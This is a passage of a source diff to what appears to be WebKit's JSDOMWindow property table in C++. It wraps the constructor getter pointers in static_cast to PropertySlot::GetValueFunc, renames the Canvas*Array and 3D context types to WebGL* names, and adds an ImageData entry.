+    { "HTMLCanvasElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLCanvasElementConstructor), (intptr_t)setJSDOMWindowHTMLCanvasElementConstructor },
 #if ENABLE(DATAGRID)
-    { "HTMLDataGridElement", DontDelete, (intptr_t)jsDOMWindowHTMLDataGridElementConstructor, (intptr_t)setJSDOMWindowHTMLDataGridElementConstructor },
+    { "HTMLDataGridElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLDataGridElementConstructor), (intptr_t)setJSDOMWindowHTMLDataGridElementConstructor },
 #endif
 #if ENABLE(DATAGRID)
-    { "HTMLDataGridCellElement", DontDelete, (intptr_t)jsDOMWindowHTMLDataGridCellElementConstructor, (intptr_t)setJSDOMWindowHTMLDataGridCellElementConstructor },
+    { "HTMLDataGridCellElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLDataGridCellElementConstructor), (intptr_t)setJSDOMWindowHTMLDataGridCellElementConstructor },
 #endif
 #if ENABLE(DATAGRID)
-    { "HTMLDataGridColElement", DontDelete, (intptr_t)jsDOMWindowHTMLDataGridColElementConstructor, (intptr_t)setJSDOMWindowHTMLDataGridColElementConstructor },
+    { "HTMLDataGridColElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLDataGridColElementConstructor), (intptr_t)setJSDOMWindowHTMLDataGridColElementConstructor },
 #endif
-    { "HTMLDListElement", DontDelete, (intptr_t)jsDOMWindowHTMLDListElementConstructor, (intptr_t)setJSDOMWindowHTMLDListElementConstructor },
-    { "HTMLDirectoryElement", DontDelete, (intptr_t)jsDOMWindowHTMLDirectoryElementConstructor, (intptr_t)setJSDOMWindowHTMLDirectoryElementConstructor },
-    { "HTMLDivElement", DontDelete, (intptr_t)jsDOMWindowHTMLDivElementConstructor, (intptr_t)setJSDOMWindowHTMLDivElementConstructor },
-    { "HTMLEmbedElement", DontDelete, (intptr_t)jsDOMWindowHTMLEmbedElementConstructor, (intptr_t)setJSDOMWindowHTMLEmbedElementConstructor },
-    { "HTMLFieldSetElement", DontDelete, (intptr_t)jsDOMWindowHTMLFieldSetElementConstructor, (intptr_t)setJSDOMWindowHTMLFieldSetElementConstructor },
-    { "HTMLFontElement", DontDelete, (intptr_t)jsDOMWindowHTMLFontElementConstructor, (intptr_t)setJSDOMWindowHTMLFontElementConstructor },
-    { "HTMLFormElement", DontDelete, (intptr_t)jsDOMWindowHTMLFormElementConstructor, (intptr_t)setJSDOMWindowHTMLFormElementConstructor },
-    { "HTMLFrameElement", DontDelete, (intptr_t)jsDOMWindowHTMLFrameElementConstructor, (intptr_t)setJSDOMWindowHTMLFrameElementConstructor },
-    { "HTMLFrameSetElement", DontDelete, (intptr_t)jsDOMWindowHTMLFrameSetElementConstructor, (intptr_t)setJSDOMWindowHTMLFrameSetElementConstructor },
-    { "HTMLHRElement", DontDelete, (intptr_t)jsDOMWindowHTMLHRElementConstructor, (intptr_t)setJSDOMWindowHTMLHRElementConstructor },
-    { "HTMLHeadElement", DontDelete, (intptr_t)jsDOMWindowHTMLHeadElementConstructor, (intptr_t)setJSDOMWindowHTMLHeadElementConstructor },
-    { "HTMLHeadingElement", DontDelete, (intptr_t)jsDOMWindowHTMLHeadingElementConstructor, (intptr_t)setJSDOMWindowHTMLHeadingElementConstructor },
-    { "HTMLHtmlElement", DontDelete, (intptr_t)jsDOMWindowHTMLHtmlElementConstructor, (intptr_t)setJSDOMWindowHTMLHtmlElementConstructor },
-    { "HTMLIFrameElement", DontDelete, (intptr_t)jsDOMWindowHTMLIFrameElementConstructor, (intptr_t)setJSDOMWindowHTMLIFrameElementConstructor },
-    { "HTMLImageElement", DontDelete, (intptr_t)jsDOMWindowHTMLImageElementConstructor, (intptr_t)setJSDOMWindowHTMLImageElementConstructor },
-    { "HTMLInputElement", DontDelete, (intptr_t)jsDOMWindowHTMLInputElementConstructor, (intptr_t)setJSDOMWindowHTMLInputElementConstructor },
-    { "HTMLIsIndexElement", DontDelete, (intptr_t)jsDOMWindowHTMLIsIndexElementConstructor, (intptr_t)setJSDOMWindowHTMLIsIndexElementConstructor },
-    { "HTMLLIElement", DontDelete, (intptr_t)jsDOMWindowHTMLLIElementConstructor, (intptr_t)setJSDOMWindowHTMLLIElementConstructor },
-    { "HTMLLabelElement", DontDelete, (intptr_t)jsDOMWindowHTMLLabelElementConstructor, (intptr_t)setJSDOMWindowHTMLLabelElementConstructor },
-    { "HTMLLegendElement", DontDelete, (intptr_t)jsDOMWindowHTMLLegendElementConstructor, (intptr_t)setJSDOMWindowHTMLLegendElementConstructor },
-    { "HTMLLinkElement", DontDelete, (intptr_t)jsDOMWindowHTMLLinkElementConstructor, (intptr_t)setJSDOMWindowHTMLLinkElementConstructor },
-    { "HTMLMapElement", DontDelete, (intptr_t)jsDOMWindowHTMLMapElementConstructor, (intptr_t)setJSDOMWindowHTMLMapElementConstructor },
-    { "HTMLMarqueeElement", DontDelete, (intptr_t)jsDOMWindowHTMLMarqueeElementConstructor, (intptr_t)setJSDOMWindowHTMLMarqueeElementConstructor },
-    { "HTMLMenuElement", DontDelete, (intptr_t)jsDOMWindowHTMLMenuElementConstructor, (intptr_t)setJSDOMWindowHTMLMenuElementConstructor },
-    { "HTMLMetaElement", DontDelete, (intptr_t)jsDOMWindowHTMLMetaElementConstructor, (intptr_t)setJSDOMWindowHTMLMetaElementConstructor },
-    { "HTMLModElement", DontDelete, (intptr_t)jsDOMWindowHTMLModElementConstructor, (intptr_t)setJSDOMWindowHTMLModElementConstructor },
-    { "HTMLOListElement", DontDelete, (intptr_t)jsDOMWindowHTMLOListElementConstructor, (intptr_t)setJSDOMWindowHTMLOListElementConstructor },
-    { "HTMLObjectElement", DontDelete, (intptr_t)jsDOMWindowHTMLObjectElementConstructor, (intptr_t)setJSDOMWindowHTMLObjectElementConstructor },
-    { "HTMLOptGroupElement", DontDelete, (intptr_t)jsDOMWindowHTMLOptGroupElementConstructor, (intptr_t)setJSDOMWindowHTMLOptGroupElementConstructor },
-    { "HTMLOptionElement", DontDelete, (intptr_t)jsDOMWindowHTMLOptionElementConstructor, (intptr_t)setJSDOMWindowHTMLOptionElementConstructor },
-    { "HTMLParagraphElement", DontDelete, (intptr_t)jsDOMWindowHTMLParagraphElementConstructor, (intptr_t)setJSDOMWindowHTMLParagraphElementConstructor },
-    { "HTMLParamElement", DontDelete, (intptr_t)jsDOMWindowHTMLParamElementConstructor, (intptr_t)setJSDOMWindowHTMLParamElementConstructor },
-    { "HTMLPreElement", DontDelete, (intptr_t)jsDOMWindowHTMLPreElementConstructor, (intptr_t)setJSDOMWindowHTMLPreElementConstructor },
-    { "HTMLQuoteElement", DontDelete, (intptr_t)jsDOMWindowHTMLQuoteElementConstructor, (intptr_t)setJSDOMWindowHTMLQuoteElementConstructor },
-    { "HTMLScriptElement", DontDelete, (intptr_t)jsDOMWindowHTMLScriptElementConstructor, (intptr_t)setJSDOMWindowHTMLScriptElementConstructor },
-    { "HTMLSelectElement", DontDelete, (intptr_t)jsDOMWindowHTMLSelectElementConstructor, (intptr_t)setJSDOMWindowHTMLSelectElementConstructor },
-    { "HTMLStyleElement", DontDelete, (intptr_t)jsDOMWindowHTMLStyleElementConstructor, (intptr_t)setJSDOMWindowHTMLStyleElementConstructor },
-    { "HTMLTableCaptionElement", DontDelete, (intptr_t)jsDOMWindowHTMLTableCaptionElementConstructor, (intptr_t)setJSDOMWindowHTMLTableCaptionElementConstructor },
-    { "HTMLTableCellElement", DontDelete, (intptr_t)jsDOMWindowHTMLTableCellElementConstructor, (intptr_t)setJSDOMWindowHTMLTableCellElementConstructor },
-    { "HTMLTableColElement", DontDelete, (intptr_t)jsDOMWindowHTMLTableColElementConstructor, (intptr_t)setJSDOMWindowHTMLTableColElementConstructor },
-    { "HTMLTableElement", DontDelete, (intptr_t)jsDOMWindowHTMLTableElementConstructor, (intptr_t)setJSDOMWindowHTMLTableElementConstructor },
-    { "HTMLTableRowElement", DontDelete, (intptr_t)jsDOMWindowHTMLTableRowElementConstructor, (intptr_t)setJSDOMWindowHTMLTableRowElementConstructor },
-    { "HTMLTableSectionElement", DontDelete, (intptr_t)jsDOMWindowHTMLTableSectionElementConstructor, (intptr_t)setJSDOMWindowHTMLTableSectionElementConstructor },
-    { "HTMLTextAreaElement", DontDelete, (intptr_t)jsDOMWindowHTMLTextAreaElementConstructor, (intptr_t)setJSDOMWindowHTMLTextAreaElementConstructor },
-    { "HTMLTitleElement", DontDelete, (intptr_t)jsDOMWindowHTMLTitleElementConstructor, (intptr_t)setJSDOMWindowHTMLTitleElementConstructor },
-    { "HTMLUListElement", DontDelete, (intptr_t)jsDOMWindowHTMLUListElementConstructor, (intptr_t)setJSDOMWindowHTMLUListElementConstructor },
-    { "HTMLCollection", DontDelete, (intptr_t)jsDOMWindowHTMLCollectionConstructor, (intptr_t)setJSDOMWindowHTMLCollectionConstructor },
-    { "HTMLAllCollection", DontDelete, (intptr_t)jsDOMWindowHTMLAllCollectionConstructor, (intptr_t)setJSDOMWindowHTMLAllCollectionConstructor },
-    { "Image", DontDelete, (intptr_t)jsDOMWindowImageConstructor, (intptr_t)setJSDOMWindowImageConstructor },
-    { "Option", DontDelete, (intptr_t)jsDOMWindowOptionConstructor, (intptr_t)setJSDOMWindowOptionConstructor },
-    { "CanvasRenderingContext2D", DontDelete, (intptr_t)jsDOMWindowCanvasRenderingContext2DConstructor, (intptr_t)setJSDOMWindowCanvasRenderingContext2DConstructor },
+    { "HTMLDListElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLDListElementConstructor), (intptr_t)setJSDOMWindowHTMLDListElementConstructor },
+    { "HTMLDirectoryElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLDirectoryElementConstructor), (intptr_t)setJSDOMWindowHTMLDirectoryElementConstructor },
+    { "HTMLDivElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLDivElementConstructor), (intptr_t)setJSDOMWindowHTMLDivElementConstructor },
+    { "HTMLEmbedElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLEmbedElementConstructor), (intptr_t)setJSDOMWindowHTMLEmbedElementConstructor },
+    { "HTMLFieldSetElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLFieldSetElementConstructor), (intptr_t)setJSDOMWindowHTMLFieldSetElementConstructor },
+    { "HTMLFontElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLFontElementConstructor), (intptr_t)setJSDOMWindowHTMLFontElementConstructor },
+    { "HTMLFormElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLFormElementConstructor), (intptr_t)setJSDOMWindowHTMLFormElementConstructor },
+    { "HTMLFrameElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLFrameElementConstructor), (intptr_t)setJSDOMWindowHTMLFrameElementConstructor },
+    { "HTMLFrameSetElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLFrameSetElementConstructor), (intptr_t)setJSDOMWindowHTMLFrameSetElementConstructor },
+    { "HTMLHRElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLHRElementConstructor), (intptr_t)setJSDOMWindowHTMLHRElementConstructor },
+    { "HTMLHeadElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLHeadElementConstructor), (intptr_t)setJSDOMWindowHTMLHeadElementConstructor },
+    { "HTMLHeadingElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLHeadingElementConstructor), (intptr_t)setJSDOMWindowHTMLHeadingElementConstructor },
+    { "HTMLHtmlElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLHtmlElementConstructor), (intptr_t)setJSDOMWindowHTMLHtmlElementConstructor },
+    { "HTMLIFrameElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLIFrameElementConstructor), (intptr_t)setJSDOMWindowHTMLIFrameElementConstructor },
+    { "HTMLImageElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLImageElementConstructor), (intptr_t)setJSDOMWindowHTMLImageElementConstructor },
+    { "HTMLInputElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLInputElementConstructor), (intptr_t)setJSDOMWindowHTMLInputElementConstructor },
+    { "HTMLIsIndexElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLIsIndexElementConstructor), (intptr_t)setJSDOMWindowHTMLIsIndexElementConstructor },
+    { "HTMLLIElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLLIElementConstructor), (intptr_t)setJSDOMWindowHTMLLIElementConstructor },
+    { "HTMLLabelElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLLabelElementConstructor), (intptr_t)setJSDOMWindowHTMLLabelElementConstructor },
+    { "HTMLLegendElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLLegendElementConstructor), (intptr_t)setJSDOMWindowHTMLLegendElementConstructor },
+    { "HTMLLinkElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLLinkElementConstructor), (intptr_t)setJSDOMWindowHTMLLinkElementConstructor },
+    { "HTMLMapElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLMapElementConstructor), (intptr_t)setJSDOMWindowHTMLMapElementConstructor },
+    { "HTMLMarqueeElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLMarqueeElementConstructor), (intptr_t)setJSDOMWindowHTMLMarqueeElementConstructor },
+    { "HTMLMenuElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLMenuElementConstructor), (intptr_t)setJSDOMWindowHTMLMenuElementConstructor },
+    { "HTMLMetaElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLMetaElementConstructor), (intptr_t)setJSDOMWindowHTMLMetaElementConstructor },
+    { "HTMLModElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLModElementConstructor), (intptr_t)setJSDOMWindowHTMLModElementConstructor },
+    { "HTMLOListElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLOListElementConstructor), (intptr_t)setJSDOMWindowHTMLOListElementConstructor },
+    { "HTMLObjectElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLObjectElementConstructor), (intptr_t)setJSDOMWindowHTMLObjectElementConstructor },
+    { "HTMLOptGroupElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLOptGroupElementConstructor), (intptr_t)setJSDOMWindowHTMLOptGroupElementConstructor },
+    { "HTMLOptionElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLOptionElementConstructor), (intptr_t)setJSDOMWindowHTMLOptionElementConstructor },
+    { "HTMLParagraphElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLParagraphElementConstructor), (intptr_t)setJSDOMWindowHTMLParagraphElementConstructor },
+    { "HTMLParamElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLParamElementConstructor), (intptr_t)setJSDOMWindowHTMLParamElementConstructor },
+    { "HTMLPreElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLPreElementConstructor), (intptr_t)setJSDOMWindowHTMLPreElementConstructor },
+    { "HTMLQuoteElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLQuoteElementConstructor), (intptr_t)setJSDOMWindowHTMLQuoteElementConstructor },
+    { "HTMLScriptElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLScriptElementConstructor), (intptr_t)setJSDOMWindowHTMLScriptElementConstructor },
+    { "HTMLSelectElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLSelectElementConstructor), (intptr_t)setJSDOMWindowHTMLSelectElementConstructor },
+    { "HTMLStyleElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLStyleElementConstructor), (intptr_t)setJSDOMWindowHTMLStyleElementConstructor },
+    { "HTMLTableCaptionElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLTableCaptionElementConstructor), (intptr_t)setJSDOMWindowHTMLTableCaptionElementConstructor },
+    { "HTMLTableCellElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLTableCellElementConstructor), (intptr_t)setJSDOMWindowHTMLTableCellElementConstructor },
+    { "HTMLTableColElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLTableColElementConstructor), (intptr_t)setJSDOMWindowHTMLTableColElementConstructor },
+    { "HTMLTableElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLTableElementConstructor), (intptr_t)setJSDOMWindowHTMLTableElementConstructor },
+    { "HTMLTableRowElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLTableRowElementConstructor), (intptr_t)setJSDOMWindowHTMLTableRowElementConstructor },
+    { "HTMLTableSectionElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLTableSectionElementConstructor), (intptr_t)setJSDOMWindowHTMLTableSectionElementConstructor },
+    { "HTMLTextAreaElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLTextAreaElementConstructor), (intptr_t)setJSDOMWindowHTMLTextAreaElementConstructor },
+    { "HTMLTitleElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLTitleElementConstructor), (intptr_t)setJSDOMWindowHTMLTitleElementConstructor },
+    { "HTMLUListElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLUListElementConstructor), (intptr_t)setJSDOMWindowHTMLUListElementConstructor },
+    { "HTMLCollection", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLCollectionConstructor), (intptr_t)setJSDOMWindowHTMLCollectionConstructor },
+    { "HTMLAllCollection", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLAllCollectionConstructor), (intptr_t)setJSDOMWindowHTMLAllCollectionConstructor },
+    { "Image", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowImageConstructor), (intptr_t)setJSDOMWindowImageConstructor },
+    { "Option", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOptionConstructor), (intptr_t)setJSDOMWindowOptionConstructor },
+    { "CanvasRenderingContext2D", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowCanvasRenderingContext2DConstructor), (intptr_t)setJSDOMWindowCanvasRenderingContext2DConstructor },
+    { "ImageData", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowImageDataConstructor), (intptr_t)setJSDOMWindowImageDataConstructor },
 #if ENABLE(3D_CANVAS)
-    { "CanvasRenderingContext3D", DontDelete, (intptr_t)jsDOMWindowCanvasRenderingContext3DConstructor, (intptr_t)setJSDOMWindowCanvasRenderingContext3DConstructor },
+    { "WebGLRenderingContext", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebGLRenderingContextConstructor), (intptr_t)setJSDOMWindowWebGLRenderingContextConstructor },
 #endif
-    { "TextMetrics", DontDelete, (intptr_t)jsDOMWindowTextMetricsConstructor, (intptr_t)setJSDOMWindowTextMetricsConstructor },
+    { "TextMetrics", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowTextMetricsConstructor), (intptr_t)setJSDOMWindowTextMetricsConstructor },
 #if ENABLE(3D_CANVAS)
-    { "CanvasArrayBuffer", DontDelete, (intptr_t)jsDOMWindowCanvasArrayBufferConstructor, (intptr_t)setJSDOMWindowCanvasArrayBufferConstructor },
+    { "WebGLArrayBuffer", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebGLArrayBufferConstructor), (intptr_t)setJSDOMWindowWebGLArrayBufferConstructor },
 #endif
 #if ENABLE(3D_CANVAS)
-    { "CanvasByteArray", DontDelete, (intptr_t)jsDOMWindowCanvasByteArrayConstructor, (intptr_t)setJSDOMWindowCanvasByteArrayConstructor },
+    { "WebGLByteArray", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebGLByteArrayConstructor), (intptr_t)setJSDOMWindowWebGLByteArrayConstructor },
 #endif
 #if ENABLE(3D_CANVAS)
-    { "CanvasUnsignedByteArray", DontDelete, (intptr_t)jsDOMWindowCanvasUnsignedByteArrayConstructor, (intptr_t)setJSDOMWindowCanvasUnsignedByteArrayConstructor },
+    { "WebGLUnsignedByteArray", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebGLUnsignedByteArrayConstructor), (intptr_t)setJSDOMWindowWebGLUnsignedByteArrayConstructor },
 #endif
 #if ENABLE(3D_CANVAS)
-    { "CanvasShortArray", DontDelete, (intptr_t)jsDOMWindowCanvasShortArrayConstructor, (intptr_t)setJSDOMWindowCanvasShortArrayConstructor },
+    { "WebGLShortArray", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebGLShortArrayConstructor), (intptr_t)setJSDOMWindowWebGLShortArrayConstructor },
 #endif
 #if ENABLE(3D_CANVAS)
-    { "CanvasUnsignedShortArray", DontDelete, (intptr_t)jsDOMWindowCanvasUnsignedShortArrayConstructor, (intptr_t)setJSDOMWindowCanvasUnsignedShortArrayConstructor },
+    { "WebGLUnsignedShortArray", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebGLUnsignedShortArrayConstructor), (intptr_t)setJSDOMWindowWebGLUnsignedShortArrayConstructor },
 #endif
 #if ENABLE(3D_CANVAS)
-    { "CanvasIntArray", DontDelete, (intptr_t)jsDOMWindowCanvasIntArrayConstructor, (intptr_t)setJSDOMWindowCanvasIntArrayConstructor },
+    { "WebGLIntArray", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebGLIntArrayConstructor), (intptr_t)setJSDOMWindowWebGLIntArrayConstructor },
 #endif
 #if ENABLE(3D_CANVAS)
-    { "CanvasUnsignedIntArray", DontDelete, (intptr_t)jsDOMWindowCanvasUnsignedIntArrayConstructor, (intptr_t)setJSDOMWindowCanvasUnsignedIntArrayConstructor },
+    { "WebGLUnsignedIntArray", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebGLUnsignedIntArrayConstructor), (intptr_t)setJSDOMWindowWebGLUnsignedIntArrayConstructor },
 #endif
 #if ENABLE(3D_CANVAS)
-    { "CanvasFloatArray", DontDelete, (intptr_t)jsDOMWindowCanvasFloatArrayConstructor, (intptr_t)setJSDOMWindowCanvasFloatArrayConstructor },
+    { "WebGLFloatArray", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebGLFloatArrayConstructor), (intptr_t)setJSDOMWindowWebGLFloatArrayConstructor },
 #endif
-    { "Event", DontDelete, (intptr_t)jsDOMWindowEventConstructor, (intptr_t)setJSDOMWindowEventConstructor },
-    { "BeforeLoadEvent", DontDelete, (intptr_t)jsDOMWindowBeforeLoadEventConstructor, (intptr_t)setJSDOMWindowBeforeLoadEventConstructor },
-    { "KeyboardEvent", DontDelete, (intptr_t)jsDOMWindowKeyboardEventConstructor, (intptr_t)setJSDOMWindowKeyboardEventConstructor },
-    { "MouseEvent", DontDelete, (intptr_t)jsDOMWindowMouseEventConstructor, (intptr_t)setJSDOMWindowMouseEventConstructor },
-    { "MutationEvent", DontDelete, (intptr_t)jsDOMWindowMutationEventConstructor, (intptr_t)setJSDOMWindowMutationEventConstructor },
-    { "OverflowEvent", DontDelete, (intptr_t)jsDOMWindowOverflowEventConstructor, (intptr_t)setJSDOMWindowOverflowEventConstructor },
-    { "PageTransitionEvent", DontDelete, (intptr_t)jsDOMWindowPageTransitionEventConstructor, (intptr_t)setJSDOMWindowPageTransitionEventConstructor },
-    { "ProgressEvent", DontDelete, (intptr_t)jsDOMWindowProgressEventConstructor, (intptr_t)setJSDOMWindowProgressEventConstructor },
-    { "TextEvent", DontDelete, (intptr_t)jsDOMWindowTextEventConstructor, (intptr_t)setJSDOMWindowTextEventConstructor },
-    { "UIEvent", DontDelete, (intptr_t)jsDOMWindowUIEventConstructor, (intptr_t)setJSDOMWindowUIEventConstructor },
-    { "WebKitAnimationEvent", DontDelete, (intptr_t)jsDOMWindowWebKitAnimationEventConstructor, (intptr_t)setJSDOMWindowWebKitAnimationEventConstructor },
-    { "WebKitTransitionEvent", DontDelete, (intptr_t)jsDOMWindowWebKitTransitionEventConstructor, (intptr_t)setJSDOMWindowWebKitTransitionEventConstructor },
-    { "WheelEvent", DontDelete, (intptr_t)jsDOMWindowWheelEventConstructor, (intptr_t)setJSDOMWindowWheelEventConstructor },
-    { "MessageEvent", DontDelete, (intptr_t)jsDOMWindowMessageEventConstructor, (intptr_t)setJSDOMWindowMessageEventConstructor },
-    { "EventException", DontDelete, (intptr_t)jsDOMWindowEventExceptionConstructor, (intptr_t)setJSDOMWindowEventExceptionConstructor },
-    { "WebKitCSSKeyframeRule", DontDelete, (intptr_t)jsDOMWindowWebKitCSSKeyframeRuleConstructor, (intptr_t)setJSDOMWindowWebKitCSSKeyframeRuleConstructor },
-    { "WebKitCSSKeyframesRule", DontDelete, (intptr_t)jsDOMWindowWebKitCSSKeyframesRuleConstructor, (intptr_t)setJSDOMWindowWebKitCSSKeyframesRuleConstructor },
-    { "WebKitCSSMatrix", DontDelete, (intptr_t)jsDOMWindowWebKitCSSMatrixConstructor, (intptr_t)setJSDOMWindowWebKitCSSMatrixConstructor },
-    { "WebKitPoint", DontDelete, (intptr_t)jsDOMWindowWebKitPointConstructor, (intptr_t)setJSDOMWindowWebKitPointConstructor },
-    { "Clipboard", DontDelete, (intptr_t)jsDOMWindowClipboardConstructor, (intptr_t)setJSDOMWindowClipboardConstructor },
-    { "File", DontDelete, (intptr_t)jsDOMWindowFileConstructor, (intptr_t)setJSDOMWindowFileConstructor },
-    { "FileList", DontDelete, (intptr_t)jsDOMWindowFileListConstructor, (intptr_t)setJSDOMWindowFileListConstructor },
-    { "NodeFilter", DontDelete, (intptr_t)jsDOMWindowNodeFilterConstructor, (intptr_t)setJSDOMWindowNodeFilterConstructor },
-    { "Range", DontDelete, (intptr_t)jsDOMWindowRangeConstructor, (intptr_t)setJSDOMWindowRangeConstructor },
-    { "RangeException", DontDelete, (intptr_t)jsDOMWindowRangeExceptionConstructor, (intptr_t)setJSDOMWindowRangeExceptionConstructor },
-    { "EventSource", DontDelete, (intptr_t)jsDOMWindowEventSourceConstructor, (intptr_t)setJSDOMWindowEventSourceConstructor },
-    { "XMLDocument", DontDelete, (intptr_t)jsDOMWindowXMLDocumentConstructor, (intptr_t)setJSDOMWindowXMLDocumentConstructor },
-    { "DOMParser", DontDelete, (intptr_t)jsDOMWindowDOMParserConstructor, (intptr_t)setJSDOMWindowDOMParserConstructor },
-    { "XMLSerializer", DontDelete, (intptr_t)jsDOMWindowXMLSerializerConstructor, (intptr_t)setJSDOMWindowXMLSerializerConstructor },
-    { "XMLHttpRequest", DontDelete, (intptr_t)jsDOMWindowXMLHttpRequestConstructor, (intptr_t)setJSDOMWindowXMLHttpRequestConstructor },
-    { "XMLHttpRequestUpload", DontDelete, (intptr_t)jsDOMWindowXMLHttpRequestUploadConstructor, (intptr_t)setJSDOMWindowXMLHttpRequestUploadConstructor },
-    { "XMLHttpRequestException", DontDelete, (intptr_t)jsDOMWindowXMLHttpRequestExceptionConstructor, (intptr_t)setJSDOMWindowXMLHttpRequestExceptionConstructor },
+    { "Event", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowEventConstructor), (intptr_t)setJSDOMWindowEventConstructor },
+    { "BeforeLoadEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowBeforeLoadEventConstructor), (intptr_t)setJSDOMWindowBeforeLoadEventConstructor },
+    { "KeyboardEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowKeyboardEventConstructor), (intptr_t)setJSDOMWindowKeyboardEventConstructor },
+    { "MouseEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowMouseEventConstructor), (intptr_t)setJSDOMWindowMouseEventConstructor },
+    { "MutationEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowMutationEventConstructor), (intptr_t)setJSDOMWindowMutationEventConstructor },
